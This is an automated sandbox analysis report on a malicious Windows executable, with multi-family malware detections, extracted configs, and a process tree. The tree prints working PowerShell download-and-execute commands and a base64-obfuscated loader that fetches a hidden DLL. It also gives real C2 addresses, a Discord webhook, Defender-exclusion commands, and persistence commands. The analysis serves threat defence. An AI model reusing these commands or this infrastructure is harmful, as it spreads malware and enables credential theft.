Overview

overview

10

Static

static

5

random.exe

windows7-x64

10

random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2025, 12:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    random.exe

  • Size

    938KB

  • MD5

    37de732974e6a068089e610463dfcf8d

  • SHA1

    06408e46cbed44313d25ca507d2e1c4b4153f483

  • SHA256

    1791b49625ea67a1035252f25b155627617e3c49053aa14012b6d194e60ccf5b

  • SHA512

    56136a23d177ceb2181f1301b426e459bac7096d0eb9d198f8cba11692ac2c7dbe34f11f578cc518ac0bc078343191b9b167f7f167fda4bde646f9e48bee8232

  • SSDEEP

    24576:NqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:NTvC/MTQYxsWR7a0X

Score
10/10
amadeyquasarskuldvidarxworm092155telegramagilenetcredential_accessdefense_evasiondiscoveryexecutionpersistenceratspywarestealerthemidatrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://196.251.91.42/up/uploads/encryption02.jpg
exe.dropper

http://196.251.91.42/up/uploads/encryption02.jpg

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

skuld

C2

https://discordapp.com/api/webhooks/1349647136895012916/qSys_fpsL_y7usKH_AyrFupSjzSsVfg2t895g2HV8Yz72asrwCIsHaqqhPtDFjz8g8_E

Extracted

Family

xworm

Version

5.0

C2

httpss.myvnc.com:1907

Mutex

xWIArEKzuXpfRVkJ

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family

quasar

Version

1.3.0.0

Botnet

TELEGRAM

C2

212.56.35.232:101

Mutex

QSR_MUTEX_L5s39LpA1y9H79tL6D

Attributes
  • encryption_key

    oBOMHICrtHceojCPrnpp

  • install_name

    svchost.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    svchosta

  • subdirectory

    media

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 5 IoCs
    stealer
  • Detect Xworm Payload 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 1 IoCs
  • Skuld family
    skuld
  • Skuld stealer

    An info stealer written in Go lang.

    stealerskuld
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    defense_evasion
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 14 IoCs
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 27 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 48 IoCs
  • Obfuscated with Agile.Net obfuscator 2 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 10 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2632
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3196
    • C:\Users\Admin\AppData\Local\Temp\random.exe
      "C:\Users\Admin\AppData\Local\Temp\random.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn OuWRMmaONCv /tr "mshta C:\Users\Admin\AppData\Local\Temp\K7OQ5GaEK.hta" /sc minute /mo 25 /ru "Admin" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5636
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn OuWRMmaONCv /tr "mshta C:\Users\Admin\AppData\Local\Temp\K7OQ5GaEK.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4340
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\K7OQ5GaEK.hta
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'EDVVSZKLBU26TXKPLKWCNOKHAV9MMILY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5372
          • C:\Users\Admin\AppData\Local\TempEDVVSZKLBU26TXKPLKWCNOKHAV9MMILY.EXE
            "C:\Users\Admin\AppData\Local\TempEDVVSZKLBU26TXKPLKWCNOKHAV9MMILY.EXE"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5480
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Adds Run key to start application
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:6012
              • C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
                "C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe"
                6⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1040
                • C:\Windows\system32\attrib.exe
                  attrib +h +s C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
                  7⤵
                  • Views/modifies file attributes
                  PID:464
              • C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe
                "C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2128
                • C:\Windows\SysWOW64\CMD.exe
                  "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1740
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2008
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2228
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3020
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1736
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 440824
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4312
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Architecture.wmv
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:5800
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /V "Offensive" Inter
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2916
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4328
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:736
                  • C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
                    Organizations.com h
                    8⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of WriteProcessMemory
                    PID:3180
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3180 -s 912
                      9⤵
                      • Program crash
                      PID:2888
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:6016
              • C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
                "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks whether UAC is enabled
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3964
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\File.bat" "
                  7⤵
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  PID:5704
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzE5Ni4yNTEuOTEuNDIvdXAvdXBsb2Fkcy9lbmNyeXB0aW9uMDIuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('httpss.myvnc.com', '1907');"
                    8⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:6128
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ohbuGGy.exe"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5068
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ohbuGGy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6C71.tmp"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2304
                • C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
                  "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:4444
                • C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
                  "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4944
              • C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe
                "C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                PID:1320
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                  7⤵
                  • Uses browser remote debugging
                  • Checks processor information in registry
                  • Enumerates system info in registry
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:2916
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb68f0dcf8,0x7ffb68f0dd04,0x7ffb68f0dd10
                    8⤵
                      PID:1112
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2008,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=2004 /prefetch:2
                      8⤵
                        PID:2204
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2272,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=2284 /prefetch:3
                        8⤵
                          PID:4940
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2396,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=2372 /prefetch:8
                          8⤵
                            PID:736
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3232,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=3312 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:2604
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3240,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=3332 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:864
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4312,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=4348 /prefetch:2
                            8⤵
                            • Uses browser remote debugging
                            PID:2844
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4656,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=4700 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:1260
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5188,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=5192 /prefetch:8
                            8⤵
                              PID:4592
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5488,i,6192153602950494712,18225009319508634483,262144 --variations-seed-version=20250312-184628.452000 --mojo-platform-channel-handle=5500 /prefetch:8
                              8⤵
                                PID:3076
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                              7⤵
                              • Uses browser remote debugging
                              • Enumerates system info in registry
                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                              • Suspicious use of FindShellTrayWindow
                              PID:3240
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x264,0x7ffb68eef208,0x7ffb68eef214,0x7ffb68eef220
                                8⤵
                                  PID:3764
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2040,i,5658376520318240907,5553246752476572947,262144 --variations-seed-version --mojo-platform-channel-handle=2012 /prefetch:3
                                  8⤵
                                    PID:1364
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1996,i,5658376520318240907,5553246752476572947,262144 --variations-seed-version --mojo-platform-channel-handle=1992 /prefetch:2
                                    8⤵
                                      PID:3464
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2508,i,5658376520318240907,5553246752476572947,262144 --variations-seed-version --mojo-platform-channel-handle=2668 /prefetch:8
                                      8⤵
                                        PID:5452
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3512,i,5658376520318240907,5553246752476572947,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
                                        8⤵
                                        • Uses browser remote debugging
                                        PID:3524
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3532,i,5658376520318240907,5553246752476572947,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
                                        8⤵
                                        • Uses browser remote debugging
                                        PID:1968
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\yusjm" & exit
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4928
                                      • C:\Windows\SysWOW64\timeout.exe
                                        timeout /t 11
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Delays execution with timeout.exe
                                        PID:1584
                                  • C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:5508
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\10288540141\4wAPcC0.ps1"
                                    6⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1740
                                    • C:\Windows\system32\windowspowershell\v1.0\powershell.exe
                                      "C:\Windows\sysnative\windowspowershell\v1.0\powershell.exe"
                                      7⤵
                                      • Drops file in Windows directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5432
                                  • C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:4628
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:208
                                  • C:\Users\Admin\AppData\Local\Temp\10291530101\OkH8IPF.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10291530101\OkH8IPF.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:1508
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1136
